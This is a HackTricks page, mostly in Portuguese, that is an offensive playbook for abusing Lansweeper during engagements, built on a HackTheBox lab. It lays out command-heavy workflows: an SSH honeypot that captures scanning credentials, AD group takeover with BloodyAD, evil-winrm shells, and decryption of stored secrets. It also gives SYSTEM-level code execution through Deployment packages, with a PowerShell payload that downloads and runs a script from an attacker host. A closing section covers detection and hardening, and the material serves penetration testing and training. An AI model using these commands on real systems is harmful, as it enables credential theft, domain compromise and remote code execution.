Lansweeper Abuse: Credential Harvesting, Secrets Decryption, and Deployment RCE
Reading time: 8 minutes
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao đŹ grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter đŠ @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositĂłrios do github.
Lansweeper é uma plataforma de descoberta e inventårio de ativos de TI comumente implantada em Windows e integrada ao Active Directory. As credenciais configuradas no Lansweeper são usadas pelos seus scanning engines para autenticar em ativos através de protocolos como SSH, SMB/WMI e WinRM. ConfiguraçÔes incorretas frequentemente permitem:
- Interceptação de credenciais ao redirecionar um Scanning Target para um host controlado pelo atacante (honeypot)
- Abuso de AD ACLs expostas por grupos relacionados ao Lansweeper para obter acesso remoto
- Decriptação on-host de secrets configurados no Lansweeper (connection strings e stored scanning credentials)
- Execução de código em endpoints gerenciados via a feature Deployment (frequentemente executando como SYSTEM)
Esta pĂĄgina resume fluxos de trabalho prĂĄticos do atacante e comandos para abusar desses comportamentos durante engagements.
1) Harvest scanning credentials via honeypot (SSH example)
Idea: create a Scanning Target that points to your host and map existing Scanning Credentials to it. When the scan runs, Lansweeper will attempt to authenticate with those credentials, and your honeypot will capture them.
Steps overview (web UI):
- Scanning â Scanning Targets â Add Scanning Target
- Type: IP Range (or Single IP) = your VPN IP
- Configure SSH port to something reachable (e.g., 2022 if 22 is blocked)
- Disable schedule and plan to trigger manually
- Scanning â Scanning Credentials â ensure Linux/SSH creds exist; map them to the new target (enable all as needed)
- Click âScan nowâ on the target
- Run an SSH honeypot and retrieve the attempted username/password
Example with sshesame:
# sshesame.conf
server:
listen_address: 10.10.14.79:2022
# Install and run
sudo apt install -y sshesame
sshesame --config sshesame.conf
# Expect client banner similar to RebexSSH and cleartext creds
# authentication for user "svc_inventory_lnx" with password "<password>" accepted
# connection with client version "SSH-2.0-RebexSSH_5.0.x" established
Validar credenciais capturadas contra serviços do DC:
# SMB/LDAP/WinRM checks (NetExec)
netexec smb inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
netexec ldap inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
netexec winrm inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
Notas
- Funciona de forma semelhante para outros protocolos quando vocĂȘ consegue coagir o scanner ao seu listener (SMB/WinRM honeypots, etc.). SSH costuma ser o mais simples.
- Muitos scanners se identificam com banners de cliente distintos (e.g., RebexSSH) e tentarĂŁo comandos benignos (uname, whoami, etc.).
2) AD ACL abuse: obtenha acesso remoto adicionando-se a um grupo app-admin
Use BloodHound para enumerar os direitos efetivos da conta comprometida. Uma descoberta comum Ă© um grupo especĂfico do scanner ou do app (e.g., âLansweeper Discoveryâ) detendo GenericAll sobre um grupo privilegiado (e.g., âLansweeper Adminsâ). Se o grupo privilegiado tambĂ©m for membro de âRemote Management Usersâ, o WinRM fica disponĂvel assim que nos adicionarmos.
Collection examples:
# NetExec collection with LDAP
netexec ldap inventory.sweep.vl -u svc_inventory_lnx -p '<password>' --bloodhound -c All --dns-server <DC_IP>
# RustHound-CE collection (zip for BH CE import)
rusthound-ce --domain sweep.vl -u svc_inventory_lnx -p '<password>' -c All --zip
Exploit GenericAll em grupo com BloodyAD (Linux):
# Add our user into the target group
bloodyAD --host inventory.sweep.vl -d sweep.vl -u svc_inventory_lnx -p '<password>' \
add groupMember "Lansweeper Admins" svc_inventory_lnx
# Confirm WinRM access if the group grants it
netexec winrm inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
Em seguida, obtenha um shell interativo:
evil-winrm -i inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
Dica: as operaçÔes do Kerberos sĂŁo sensĂveis ao tempo. Se vocĂȘ receber KRB_AP_ERR_SKEW, sincronize com o DC primeiro:
sudo ntpdate <dc-fqdn-or-ip> # or rdate -n <dc-ip>
3) Descriptografar segredos configurados pelo Lansweeper no host
No servidor Lansweeper, o site ASP.NET normalmente armazena uma string de conexĂŁo criptografada e uma chave simĂ©trica usada pela aplicação. Com acesso local adequado, vocĂȘ pode descriptografar a string de conexĂŁo do banco de dados e entĂŁo extrair as credenciais de varredura armazenadas.
Locais tĂpicos:
- Web config:
C:\Program Files (x86)\Lansweeper\Website\web.config
<connectionStrings configProtectionProvider="DataProtectionConfigurationProvider">
âŠ<EncryptedData>âŠ
- Application key:
C:\Program Files (x86)\Lansweeper\Key\Encryption.txt
Use SharpLansweeperDecrypt para automatizar a descriptografia e extração das credenciais armazenadas:
# From a WinRM session or interactive shell on the Lansweeper host
# PowerShell variant
Upload-File .\LansweeperDecrypt.ps1 C:\ProgramData\LansweeperDecrypt.ps1 # depending on your shell
powershell -ExecutionPolicy Bypass -File C:\ProgramData\LansweeperDecrypt.ps1
# Tool will:
# - Decrypt connectionStrings from web.config
# - Connect to Lansweeper DB
# - Decrypt stored scanning credentials and print them in cleartext
A saĂda esperada inclui detalhes de conexĂŁo DB e credenciais de varredura em texto simples, como contas Windows e Linux usadas em todo o ambiente. Estas frequentemente tĂȘm privilĂ©gios locais elevados em hosts de domĂnio:
Inventory Windows SWEEP\svc_inventory_win <StrongPassword!>
Inventory Linux svc_inventory_lnx <StrongPassword!>
Utilize as creds de scanning do Windows recuperadas para acesso privilegiado:
netexec winrm inventory.sweep.vl -u svc_inventory_win -p '<StrongPassword!>'
# Typically local admin on the Lansweeper-managed host; often Administrators on DCs/servers
4) Lansweeper Deployment â SYSTEM RCE
Como membro de âLansweeper Adminsâ, a interface web expĂ”e Deployment e Configuration. Em Deployment â Deployment packages, vocĂȘ pode criar pacotes que executam comandos arbitrĂĄrios em assets direcionados. A execução Ă© realizada pelo serviço Lansweeper com altos privilĂ©gios, resultando em execução de cĂłdigo como NT AUTHORITY\SYSTEM no host selecionado.
Passos de alto nĂvel:
- Crie um novo pacote Deployment que execute um one-liner em PowerShell ou cmd (reverse shell, add-user, etc.).
- Aponte para o asset desejado (por exemplo, o DC/host onde o Lansweeper roda) e clique em Deploy/Run now.
- Obtenha sua shell como SYSTEM.
Exemplos de payloads (PowerShell):
# Simple test
powershell -nop -w hidden -c "whoami > C:\Windows\Temp\ls_whoami.txt"
# Reverse shell example (adapt to your listener)
powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://<attacker>/rs.ps1')"
OPSEC
- AçÔes de deployment são ruidosas e deixam logs no Lansweeper e nos event logs do Windows. Use com parcimÎnia.
Detecção e hardening
- Restrinja ou remova enumeraçÔes SMB anÎnimas. Monitore por RID cycling e acesso anÎmalo a shares do Lansweeper.
- Controles de egress: bloqueie ou restrinja fortemente SSH/SMB/WinRM de saĂda a partir dos hosts scanner. Alerta para portas nĂŁo padrĂŁo (ex.: 2022) e banners de cliente incomuns como Rebex.
- Proteja
Website\\web.config
eKey\\Encryption.txt
. Externalize segredos em um vault e rotacione em caso de exposição. Considere contas de serviço com privilĂ©gios mĂnimos e gMSA quando viĂĄvel. - Monitoramento AD: alerte sobre mudanças em grupos relacionados ao Lansweeper (ex.: âLansweeper Adminsâ, âRemote Management Usersâ) e sobre alteraçÔes de ACL que concedam GenericAll/Write membership em grupos privilegiados.
- Audite criaçÔes/alteraçÔes/execuçÔes de pacotes de Deployment; alerte em pacotes que invoquem cmd.exe/powershell.exe ou conexĂ”es de saĂda inesperadas.
TĂłpicos relacionados
- Enumeração SMB/LSA/SAMR e RID cycling
- Password spraying em Kerberos e consideraçÔes sobre clock skew
- AnĂĄlise de caminhos com BloodHound de grupos application-admin
- Uso de WinRM e movimento lateral
ReferĂȘncias
- HTB: Sweep â Abusing Lansweeper Scanning, AD ACLs, and Secrets to Own a DC (0xdf)
- sshesame (SSH honeypot)
- SharpLansweeperDecrypt
- BloodyAD
- BloodHound CE
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao đŹ grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter đŠ @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositĂłrios do github.